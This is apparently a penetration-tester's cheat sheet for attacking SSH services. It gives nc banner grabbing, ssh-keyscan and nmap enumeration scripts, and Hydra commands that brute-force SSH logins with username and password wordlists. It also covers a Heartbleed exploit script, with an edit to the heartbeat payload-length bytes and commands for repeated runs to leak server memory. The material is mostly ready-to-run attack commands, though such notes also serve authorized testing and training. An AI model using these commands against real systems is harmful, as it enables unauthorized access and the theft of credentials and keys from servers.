# SSH (22)

## 1. Scanning

{% code overflow="wrap" fullWidth="true" %}

```
Banner Grabbing - nc -vn <IP> 22
Initiate Connection - ssh <username>@<IP> [-p <port>]

Identify public SSH key of server - ssh-keyscan -t rsa <IP> [-p <port>]

dnsrecon -d <domain_name> -n <IP>
dnsenum <domain_name>
ssh-audit -v <IP>
```

{% endcode %}

## 2. Enumeration

<pre data-overflow="wrap" data-full-width="true"><code><strong>Default nmap scripts for SSH - nmap -sC -p&#x3C;port> &#x3C;IP>
</strong>Retrieve version - nmap -sV -p&#x3C;port> &#x3C;IP>

Retrieve supported algorythms - 
    nmap --script ssh2-enum-algos -p&#x3C;port> &#x3C;IP>
Retrieve weak keys - 
    nmap --script ssh-hostkey --script-args ssh_hostkey=full -p&#x3C;port> &#x3C;IP>
Check authentication methods - 
    nmap --script ssh-auth-methods --script-args="ssh.user=root" -p&#x3C;port> &#x3C;IP>

</code></pre>

## 3. Hydra

{% code overflow="wrap" fullWidth="true" %}

```
    hydra -l <username> -p <password> -s <port number> ssh://<target ip address>
    hydra -l <username> -P <wordlist> -s <port number> ssh://<target ip address>
    
    hydra -L <username list> -P <wordlist> -s <port number> ssh://<target ip address>
    hydra -L <username list> -p <password> -s <port number> ssh://<target ip address>
```

{% endcode %}

### 4. HeartBleed.py

Download script via: <https://gist.github.com/eelsivart/10174134>

Areas to modify

{% tabs %}
{% tab title="Before" %}

```
def build_heartbeat(tls_ver):
    heartbeat = [
0x18,       # Content Type (Heartbeat)
0x03, tls_ver,  # TLS version
0x00, 0x03,  # Length
# Payload
0x01,       # Type (Request)
0x40, 0x00  # Payload length // Modify this
    ] 
    return heartbeat
```

{% endtab %}

{% tab title="After" %}

```
def build_heartbeat(tls_ver):
    heartbeat = [
0x18,       # Content Type (Heartbeat)
0x03, tls_ver,  # TLS version
0x00, 0x03,  # Length
# Payload
0x01,       # Type (Request)
0x10, 0x00  # Payload length // Modify this
    ] 
    return heartbeat
```

{% endtab %}
{% endtabs %}

To run

<pre data-overflow="wrap" data-full-width="true"><code>Default Execution - python heartbleed.py &#x3C;IP>
<strong>Include Hexdump in output - python heartbleed.py -x &#x3C;IP>
</strong>
Repeated run - python heartbleed.py -n &#x3C;count> &#x3C;IP>
    # Filter output for interesting keywords
    # Remember to enumerate other services while this runs
</code></pre>